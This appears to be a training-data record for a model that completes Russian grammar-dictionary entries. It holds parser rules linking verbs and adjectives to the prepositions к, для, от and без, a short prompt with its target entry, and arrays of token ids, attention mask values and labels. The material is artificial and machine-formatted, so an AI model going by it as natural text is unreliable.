rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
|
нащупывать в кармане
|
rus_verbs:нащупывать{},
| 5,482,048 |
[
1,
4625,
348,
7953,
560,
30,
225,
225,
145,
126,
145,
113,
146,
236,
146,
230,
145,
128,
146,
238,
145,
115,
145,
113,
146,
229,
146,
239,
225,
145,
115,
225,
145,
123,
145,
113,
146,
227,
145,
125,
145,
113,
145,
126,
145,
118,
203,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
436,
407,
67,
502,
2038,
30,
145,
126,
145,
113,
146,
236,
146,
230,
145,
128,
146,
238,
145,
115,
145,
113,
146,
229,
146,
239,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
